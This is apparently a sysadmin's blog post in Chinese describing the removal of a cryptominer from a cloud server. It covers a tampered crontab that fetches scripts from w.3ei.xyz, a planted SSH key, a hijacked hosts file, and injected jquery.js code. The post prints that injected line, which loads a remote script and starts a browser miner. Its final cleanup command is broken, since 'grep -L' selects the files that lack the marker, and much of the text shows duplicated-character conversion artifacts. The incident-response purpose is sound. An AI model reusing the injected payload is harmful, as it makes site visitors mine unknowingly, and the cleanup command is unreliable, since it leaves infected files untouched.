服務(wù)器又又被挖礦了。。。
top 看了一下,有個(gè) cncq 的進(jìn)程把 CPU 跑滿了。直接上解決過程。
初步分析
crontab -e 查看定時(shí)任務(wù),發(fā)現(xiàn)定時(shí)任務(wù)已被篡改。有兩項(xiàng)是定時(shí)下載并執(zhí)行 shell 命令。
wget 將 兩個(gè) sh 文件下載,后續(xù)進(jìn)行分析。
屏蔽 IP
通過分析定時(shí)任務(wù),發(fā)現(xiàn)會定時(shí)下載并執(zhí)行 shell 命令,為防止重復(fù)執(zhí)行,先將對方 ip 進(jìn)行屏蔽。
ping http://w.3ei.xyz 得出對方 ip 為 111.62.24.216
服務(wù)器為阿里云服務(wù)器,直接通過阿里云的安全組屏蔽出網(wǎng)ip。
刪除定時(shí)任務(wù)
crontab -e 編輯刪除所有定時(shí)任務(wù)。發(fā)現(xiàn)提示我無權(quán)限,已用 root 用戶。
使用 lsattr /var/spool/cron/root 查看sia屬性
chattr -isa /var/spool/cron/root 去除 sia 屬性
crontab -e 編輯刪除所有定時(shí)任務(wù)
kill 進(jìn)程
top 查看 cncq 進(jìn)程 id
ll /proc/[進(jìn)程 id] 查看進(jìn)程目錄
exe -> /etc/cncq 為進(jìn)程的執(zhí)行目錄
rm -rf /etc/cncq
kill - 9 [進(jìn)程 id]
刪除文件
通過分析下載的 shell 腳本,刪除以下文件:
rm /tmp/crloger1
rm /tmp/v2
rm /etc/cncq
rm /var/spool/cron/crontabs/root
``
在刪除文件時(shí),發(fā)現(xiàn) rm 命令沒有了。查看了/bin 下,rm 被刪除了。從別的服務(wù)器上 copy 了一個(gè)rm 文件,設(shè)置權(quán)限,就可以了。
/etc下文件修復(fù)
在 /etc 下,查看文件修改時(shí)間,發(fā)現(xiàn)有若干文件添加和被修改,有部分文件無用,直接刪除即可。
vim /etc/hosts 發(fā)現(xiàn)一堆域名指向,看了一下,是什么門羅幣。被挖礦確認(rèn)無疑。修改為以下內(nèi)容即可。
127.0.0.1 localhost localhost.localdomain
::1 localhost localhost.localdomain
清空文件 /etc/cron.d/root
刪除可疑authorized_keys
vim .ssh/authorized_keys
查看是否有可疑key ,刪除,如遇權(quán)限問題 chattr 命令解決。
修復(fù) js 文件
通過腳本分析,對方會在所有查找所有jquery.js文件,并在文件中添加內(nèi)容:
'\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\;
會導(dǎo)至所有web訪問者的電腦cpu跑滿,無法使用服務(wù)。
反其道:
find / -name 'jquery*.js'|xargs grep -L f4ce9|xargs sed -i '/e02cf4ce91284dab9bc3fc4cc2a65e28/d'
刪除所有 jquery.js 中帶e02cf4ce91284dab9bc3fc4cc2a65e28 的行。
最后,在此清明佳節(jié)之時(shí),祝 w.3ei.xyz 所有者,清明快樂。